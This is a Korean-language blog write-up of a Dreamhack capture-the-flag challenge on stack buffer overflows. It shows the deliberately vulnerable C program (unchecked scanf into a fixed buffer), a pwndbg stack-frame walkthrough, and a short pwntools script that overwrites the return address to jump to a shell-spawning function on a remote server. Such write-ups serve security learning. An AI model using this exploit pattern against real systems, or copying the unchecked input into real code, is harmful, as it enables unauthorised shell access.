[dreamhack] Return address overflow

IMKYU·2024년 11월 24일

https://dreamhack.io/wargame/challenges/351

스택 버퍼 오버플로우

미리 만들어 놓은 버퍼를 초과해서 의도치 않게 동작을 수행하게 만드는 것

  1. 예를 들어 참이면 flag파일을 읽는 함수에 입력받을 문자열 (char 배열) 20바이트 + int형 변수 하나 4바이트+ char형 참/거짓 1바이트인 총 25바이트 저장 공간을 만들었다고 가정한다.
  2. 입력 문자열 20바이트 이내만 저장하도록 검사를 안하면 24바이트는 아무의미 없는 값을 넣고 마지막 bool형에 참(1)을 넣으면 flag파일을 읽을 수 있다.

문제 설명

문제 파일

rao(실행 파일), rao.c(소스코드)

문제 풀이

// Name: rao.c
// Compile: gcc -o rao rao.c -fno-stack-protector -no-pie

#include <stdio.h>
#include <unistd.h>

void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
}

void get_shell() {
  char *cmd = "/bin/sh";
  char *args[] = {cmd, NULL};

  execve(cmd, args, NULL);
}

int main() {
  char buf[0x28];

  init();

  printf("Input: ");
  scanf("%s", buf);

  return 0;
}
  • init() : file descriptor에 버퍼를 사용하지 않겠다. ⇒ 무시해도 좋음
  • get_shell() : 쉘을 실행시킴 ⇒ 이 함수를 실행시키면됨
  • main() : 사용자에게 입력받음

pwndbg 동적 분석 사용

gdb rao

  • 스택 프레임 알아보기 ⇒ https://jiravvit.tistory.com/entry/스택-프레임-Stack-Frame
    • 스택 프레임에서 궁금했던 것
      • Return address를 감안하여 스택 프레임을 생성해야 하나?
        • 그럴 필요없음 함수를 call하면 rsp가 자동으로 값을 뺌 ⇒ 자동 조정
        • call ⇒ jmp 이동할 곳 + rsp - 0x8 또는 0x4 == Return address 자동생성
      • 블로그에선 mov %rsp, %rbp이고 여기선 mov rbp, rsp인가?
        • 문법의 차이 ⇒ Intel(현재 이미지)이냐 at&t(블로그)이냐
  • 어셈블리어 함수 프롤로그 : 스택 프레임 생성 예시)
    • push rbp : 이전의 rbp
    • mov rbp, rsp : rbp를 스택의 최상단을 가르키도록 변경
    • sub rsp, 0x30 : 사용할 공간 세팅 ⇒ 0x30 만큼 사용하겠다.
      • rsp - 0x30 하는 이유 스택은 높은 주소에서 낮은주소로 쌓임 ⇒ 빼는 것이 공간생성 더하는 것이 공간 비움

  • 어셈블리어 함수 에필로그 예시)
    • leave : mov rsp, rbp + pop rbp ⇒ 스택 공간 정리 (스택의 최상단을 스택 프레임의 하단으로 보냄 + rbp를 이전의 rbp로 복구함)
    • ret : pop rip + jmp rip ⇒ 리턴 어드레스로 다음 명령어로 이동

중요!


  • lea rax, [rbp - 0x30] : rax에 rbp - 0x30한 주소 저장 (현재 값은 0)
  • mov rsi, rax : rsi에 rax값을 저장 ⇒ scanf의 두번째 인자 rsi (입력받은 데이터를 저장할 곳)
  • lea rdi, [rip + 0xab] : scanf의 첫번째 인자

  • 스택 영역을 보면 rbp-0x30에 값이 저장된 모습
  • rbp + 0x8 에 return address가 있는 모습

⇒ 스택의 return address에 원하는 값을 넣으면 됨

  • 0x30 + 0x8 + 원하는 값을 입력
    • 원하는 값은 get_shell() 함수 주소
# rao_ex.py
from pwn import *

# 로컬
# p = process('./rao')

#서버
p = remote('주소', '포트')

payload = b"a" * 0x30 + b"b" * 0x8;
payload += p64(0x4006aa)

p.recvuntil('Input: ')

p.sendline(payload)
p.interactive()
~

결과

정리

프로그램 분석 ⇒ 입력 받을 데이터를 검증하지 않은 것을 발견 ⇒ STACK BUFFER OVERFLOW 사용 ⇒ 디버거를 통한 동적 분석 ⇒ 우리가 입력한 데이터를 저장하는 곳과 Return address 의 거리를 파악 ⇒ EXPOLIT!

profile
아무것도 안 한 거랑 다를께 없잖아??

0개의 댓글